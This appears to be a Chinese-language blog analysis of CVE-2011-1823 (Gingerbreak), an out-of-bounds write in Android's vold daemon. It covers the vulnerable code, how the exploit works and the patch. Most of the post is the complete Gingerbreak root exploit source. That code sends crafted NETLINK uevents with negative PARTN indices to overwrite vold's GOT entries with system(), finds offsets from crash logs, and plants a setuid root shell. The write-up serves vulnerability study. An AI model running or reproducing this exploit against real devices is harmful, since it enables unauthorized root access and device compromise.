天天看點

淺析cve-2011-1823(Gingerbreak)

0x0 漏洞資訊

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1823

0x1 漏洞描述

在Android 3.0版本和2.3.4之前的2.x版本上的volume守護程序(vold)由于信任從PF_NETLINK套接字接收到的消息,是以允許以root權限執行任意代碼,利用方法是通過一個負數索引繞過隻針對最大值的有符号整數檢測.

0x2 代碼分析

//未修複的handlePartitionAdded代碼
void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) 
{
    int major = atoi(evt->findParam("MAJOR"));
    int minor = atoi(evt->findParam("MINOR"));

    int part_num;

    //從NETLINK消息中擷取PARTN參數
    const char *tmp = evt->findParam("PARTN");

    if (tmp) 
    {
        part_num = atoi(tmp);
    } 
    else 
    {
        SLOGW("Kernel block uevent missing 'PARTN'");
        part_num = 1;
    }

    //檢查動态增長的成員變量,但是并沒有定義絕對的數組邊界
    if (part_num > MAX_PARTITIONS)
    {
       mDiskNumParts = part_num;
    }

    if (major != mDiskMajor) 
    {
        SLOGE("Partition '%s' has a different major than its disk!", devpath);
        return;
    }
	
	
    //将使用者控制的值存在了使用者控制的下标所對應的數組元素中,隻檢查了上界
    if (part_num >= MAX_PARTITIONS) 
    {
        SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n", part_num, MAX_PARTITIONS-1);
    } 
	
	//....
}
           

函數沒有正确的檢查 part_num 變量的邊界,攻擊者可以通過NETLINK消息中的PARTN參數來傳入part_num變量的值.在上述表現語句中,part_num變量被解釋為有符号整數,并且被用作數組下标來通路數組.函數沒有檢查下标是否為負數,這導緻了程式通路mPartMinors數組位于堆上之前的元素.

0x3 如何利用

Gingerbreak首先要獲得全局偏移表(GOT表)到DirectVolume類mPartMinors數組的偏移.由于受影響的Android版本還未引入ALSR,是以vold程序無論如何重新開機,這個偏移都會保持不變,而且vold崩潰後會自動重新開機.利用就是要用無效的偏移來讓它崩潰,然後讀取崩潰的日志資訊,擷取位址資訊.這樣GOT舉例mPartMinor數組的偏移就可以計算出來.GOT的位址可以通過解析磁盤上的vold的ELF檔案頭來得到.

淺析cve-2011-1823(Gingerbreak)

為了實作有效代碼執行,漏洞利用把GOT表中的strcmp函數項覆寫為libc中的system函數.同樣,系統沒有開啟ALSR,是以可以使用目前程序libc中system函數的位址,這和目标程序中的system位址是相同的.當vold程序下次調用strcmp時,就會執行system函數.利用發送了一個NETLINK請求,是以利用隻需在傳入的參數字元串中提供一個二進制程式的路徑.這樣在vold程序對字元串進行比較的時候,就會運作這個二進制程式.

0x4 Poc

/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write"
 * (checked for upper limit but not against negative values).
 *
 * Exploited by changing GOT entry of strcmp(),atoi() etc. to system()
 * and then triggering such call with provided pointer. :D
 * We nevermind NX protections and what they call ROP.
 *
 * (C) 2010-2011 The Android Exploid Crew
 *
 * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM
 * MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED!
 * I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
 *
 * It only works if called from adb shell since we need
 * group log.
 *
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <math.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/system_properties.h>


static struct {
	pid_t pid;
	uint32_t got_start, got_end;
	uint32_t system;
	char *device;
	char found;
} vold;


static pid_t logcat_pid = 77;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1";
static int scale = 1, honeycomb = 0, froyo = 0;

extern char **environ;


static void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


static int copy(const char *from, const char *to)
{
	int fd1, fd2;
	char buf[0x1000];
	int r = 0;

	if ((fd1 = open(from, O_RDONLY)) < 0)
		return -1;
	if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
		close(fd1);
		return -1;
	}

	for (;;) {
		r = read(fd1, buf, sizeof(buf));
		if (r <= 0)
			break;
		if (write(fd2, buf, r) != r)
			break;
	}

	close(fd1);
	close(fd2);
	sync(); sync();
	return r;
}


static int remount_data(const char *mntpoint)
{
	FILE *f = NULL;
	int found = 0;
	char buf[1024], *dev = NULL, *fstype = NULL;

	if ((f = fopen("/proc/mounts", "r")) == NULL)
		return -1;

	memset(buf, 0, sizeof(buf));
	for (;!feof(f);) {
		if (fgets(buf, sizeof(buf), f) == NULL)
			break;
		if (strstr(buf, mntpoint)) {
			found = 1;
			break;
		}
	}
	fclose(f);
	if (!found)
		return -1;
	if ((dev = strtok(buf, " \t")) == NULL)
		return -1;
	if (strtok(NULL, " \t") == NULL)
		return -1;
	if ((fstype = strtok(NULL, " \t")) == NULL)
		return -1;
	return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}


static void *find_symbol(char *sym)
{
	void *r = NULL;
	void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);

	if (!dlh)
		die("[-] dlopen");
	if ((r = (void *)dlsym(dlh, sym)) == NULL)
		die("[-] dlsym");
	dlclose(dlh);
	return r;
}


static void find_got(char *file)
{
	int fd, i;
	Elf32_Ehdr ehdr;
	Elf32_Phdr phdr;
	Elf32_Dyn *dyn = NULL;
	size_t dyn_size = 0;

	memset(&ehdr, 0, sizeof(ehdr));
	memset(&phdr, 0, sizeof(phdr));

	if ((fd = open(file, O_RDONLY)) < 0)
		die("[-] open");

	if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr))
		die("[-] read");
	if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff)
		die("[-] lseek");

	for (i = 0; i < ehdr.e_phnum; ++i) {
		if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr))
			die("[-] read");
		if (phdr.p_type == PT_DYNAMIC)
			break;
	}
	if (phdr.p_type != PT_DYNAMIC)
		die("[-] No GOT found!");
	if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset)
		die("[-] lseek");
	dyn_size = phdr.p_filesz;
	printf("[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size,
	       dyn_size/sizeof(Elf32_Dyn));
	if ((dyn = malloc(dyn_size)) == NULL)
		die("[-] malloc");
	if (read(fd, dyn, dyn_size) != dyn_size)
		die("[-] read");
	close(fd);
	for (i = 0; i < dyn_size/sizeof(Elf32_Dyn); ++i) {
		if (dyn[i].d_tag == DT_PLTGOT)
			break;
	}
	if (dyn[i].d_tag != DT_PLTGOT)
		die("[-] No GOT found!");

	vold.got_start = dyn[i].d_un.d_ptr;
	free(dyn);

	/* Not really the end, but who cares, 64 entries should be enough
	 */
	vold.got_end = vold.got_start + scale*64;
	printf("[+] Found GOT: 0x%08x\n", vold.got_start);
}


static void find_device()
{
	char buf[1024], *dev = NULL, *sp = NULL;
	FILE *f;

	if ((f = fopen("/etc/vold.fstab", "r")) == NULL) {
		if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) {
			printf("[-] No vold.fstab found. Using default.\n");
			vold.device = strdup(default_dev);
			return;
		}
	}

	for (;!feof(f);) {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if (buf[0] == '#')
			continue;
		if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/")))
			break;
	}
	fclose(f);

	if (!dev) {
		printf("[-] No device found. Using default.\n");
		vold.device = strdup(default_dev);
	} else {
		if ((sp = strchr(dev, ' '))) {
			*sp = 0;
			vold.device = strdup(dev);
		} else if ((sp = strchr(dev, '\n'))) {
			*sp = 0;
			vold.device = strdup(dev);
		} else {
			printf("[-] No device found. Using default.\n");
			vold.device = strdup(default_dev);
		}
	}
	printf("[+] Using device %s\n", vold.device);
}


static void find_vold()
{
	char buf[2048], *ptr = NULL;
	int i = 0, fd;
	pid_t found = 0;
	FILE *f = NULL;

	vold.found = 0;

	if ((f = fopen("/proc/net/netlink", "r")) == NULL)
		die("[-] fopen");

	for (;!feof(f);) {
		memset(buf, 0, sizeof(buf));
		if (!fgets(buf, sizeof(buf), f))
			break;
		if ((ptr = strtok(buf, "\t ")) == NULL)
			break;
		if ((ptr = strtok(NULL, "\t ")) == NULL)
			break;
		if ((ptr = strtok(NULL, "\t ")) == NULL)
			break;
		if (!*ptr)
			break;
		i = atoi(ptr);
		if (i <= 1)
			continue;
		sprintf(buf, "/proc/%d/cmdline", i);
		if ((fd = open(buf, O_RDONLY)) < 0)
			continue;
		memset(buf, 0, sizeof(buf));
		read(fd, buf, sizeof(buf) - 1);
		close(fd);
		if (strstr(buf, "/system/bin/vold")) {
			found = i;
			break;
		}
        }
	fclose(f);
	if (!found)
		return;

	vold.pid = found;
	vold.found = 1;

	/* If already called no need to look for the mappings again as
	 * they wont change
	 */
	if (vold.system)
		return;

	ptr = find_symbol("system");
	vold.system = (uint32_t)ptr;
	printf("[+] Found system: %p strcmp: %p\n", ptr, find_symbol("strcmp"));
        return;
}


/* Needed to make it work on 2.2 too
 */
static int last_try()
{
	char buf[0x1000];
	struct sockaddr_nl snl;
	struct iovec iov = {buf, sizeof(buf)};
	struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
	int sock = -1, n = 0;

	do {
		find_vold();
		usleep(10000);
	} while (!vold.found);

	memset(buf, 0, sizeof(buf));
	memset(&snl, 0, sizeof(snl));
	snl.nl_family = AF_NETLINK;

	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
		die("[-] socket");
	snl.nl_pid = vold.pid;

	memset(buf, 0, sizeof(buf));

	n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
	                  "DEVPATH=%s%c"
               	          "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
                       	  0, 0, 0, bsh, 0, 0, vold.system, 0, 0);
	msg.msg_iov->iov_len = n;
	n = sendmsg(sock, &msg, 0);
	sleep(3);
	close(sock);
	return 0;
}



static int do_fault(uint32_t idx, int oneshot)
{
	char buf[0x1000];
	struct sockaddr_nl snl;
	struct iovec iov = {buf, sizeof(buf)};
	struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
	int sock = -1, n = 0;

	do {
		find_vold();
		usleep(10000);
	} while (!vold.found);

	usleep(200000);
	memset(buf, 0, sizeof(buf));
	memset(&snl, 0, sizeof(snl));
	snl.nl_family = AF_NETLINK;

	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
		die("[-] socket");
	snl.nl_pid = vold.pid;

	memset(buf, 0, sizeof(buf));
	n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
	                  "DEVPATH=%s%c"
                          "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d",
                          0, 0, 0, vold.device, 0, 0, vold.system, 0, 0, -idx);
	msg.msg_iov->iov_len = n;

	n = sendmsg(sock, &msg, 0);
	if (n < 0 || oneshot) {
		close(sock);
		return n;
	}

	usleep(500000);

	/* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.
	 * inside vold main binary.
	 * Arent we smart? Using old school technique from '99 to fsck NX while others
	 * re-invent "ROP". Wuhahahahaha!!!
	 */
	if (honeycomb) {
		n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
		                  "SEQNUM=%s%cDEVPATH=%s%c"
                	          "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",
                        	  0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0);
	} else if (froyo) {
		n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"
		                  "DEVPATH=%s%c"
                	          "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
                        	  0, 0, 0, bsh, 0, 0, vold.system, 0, 0);
	} else {
		n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"
		                  "SEQNUM=%s%cDEVPATH=%s%c"
                	          "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",
                        	  bsh, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);
	}

	msg.msg_iov->iov_len = n;
	n = sendmsg(sock, &msg, 0);

	close(sock);

	return n;
}


static uint32_t find_index()
{
	uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0;
	char buf[1024], *ptr = NULL;
	FILE *f = NULL;
	long pos = 0;

	system("/system/bin/logcat -c");
	unlink(crashlog);

	if ((logcat_pid = fork()) == 0) {
		char *a[] = {"/system/bin/logcat",  "-f", crashlog, NULL};
		execve(*a, a, environ);
		exit(1);
	}

	sleep(3);

	idx = scale*0x1000/4;
	for (;;) {
		if (do_fault(idx, 1) < 0)
			continue;
		/* Give logcat time to write to file
		 */
		sleep(3);
		if ((f = fopen(crashlog, "r")) == NULL)
			die("[-] Unable to open crashlog file");
		fseek(f, pos, SEEK_SET);
		do {
			memset(buf, 0, sizeof(buf));
			if (!fgets(buf, sizeof(buf), f))
				break;
			if ((ptr = strstr(buf, "fault addr ")) != NULL) {
				ptr += 11;
				fault_addr = (uint32_t)strtoul(ptr, NULL, 16);
				printf("[*] vold: %04d idx: %d fault addr: 0x%08x\n", vold.pid, -idx, fault_addr);
			}
		} while (!feof(f));
		pos = ftell(f);
		fclose(f);

		if (fault_addr > min && fault_addr < max) {
			printf("[+] fault address in range (0x%08x,idx=%d)\n", fault_addr, -idx);
			break;
		}
		idx += 0x1000/4;
	}

	// Honeycomb needs scaling by 10
	idx = (fault_addr + 4*idx - vold.got_start)/4;
	if (scale > 1)
		idx = scale*(fault_addr + 4*idx/scale - vold.got_start)/4;

	printf("[+] Calculated idx: %d\n", -idx);
	return idx;
}


static void do_root()
{
	remount_data("/data");
	chown(sh, 0, 0);
	chmod(sh, 04711);
	exit(0);
}


int main(int argc, char **argv, char **env)
{
	uint32_t i = 0, j = 0, idx = 0;
	char *ash[] = {sh, 0};
	struct stat st;
	char build_id[256], version_release[256];

	if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
		do_root();

	printf("\n[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak\n");
	printf("[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.\n");
	printf("[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,\n");
	printf("[**] Zynamics for ARM skills and Onkel Budi\n\n");
	printf("[**] donate to [email protected] if you like\n[**] Exploit may take a while!\n\n");

	if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
		die("[-] Cannot copy boomsh.");

	chmod(bsh, 0711);

	__system_property_get("ro.build.id", build_id);
	__system_property_get("ro.build.version.release", version_release);

	if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(build_id, "honey") ||
	    strstr(version_release, "comb")) {
		printf("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n");
		scale = 10;
		honeycomb = 1;
	} else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(build_id, "fr")) {
		printf("[+] Detected Froyo!\n");
		froyo = 1;
	} else
		printf("[+] Plain Gingerbread mode!\n");

	find_vold(&vold);
	find_got("/system/bin/vold");
	find_device();

	printf("[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start,
	       vold.got_end);
	idx = find_index();

	kill(logcat_pid, SIGKILL);
	unlink(crashlog);

	for (i = idx; j++ < (vold.got_end - vold.got_start); --i) {
		if (do_fault(i, 0) < 0) {
			++i; --j;
			printf("[-] sendmsg() failed?\n");
			continue;
		}
		printf("[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout);
		stat(sh, &st);
		if ((st.st_mode & 04000) == 04000) {
			printf("\n\n[!] dance forever my only one\n");
			break;
		}
	}

	/* Last try, sometimes vold cant handle 2 receives in the order
	 * we like by do_fault()
	 */
	if ((st.st_mode & 04000) != 04000) {
		last_try(); last_try();
		stat(sh, &st);
		if ((st.st_mode & 04000) == 04000) {
			printf("\n[+] You are in luck! Last try succeeded!\n");
		} else {
			printf("\n[-] Bad luck. Fixed vold?\n");
			exit(1);
		}
	}

	execve(*ash, ash, env);
	return 0;
}
           

0x5 漏洞修複

//增加邊界檢測
if (part_num > MAX_PARTITIONS || part_num < 1) 
{
        SLOGE("Invalid 'PARTN' value");
        return;
}
if (part_num > mDiskNumParts) 
{
        mDiskNumParts = part_num;
}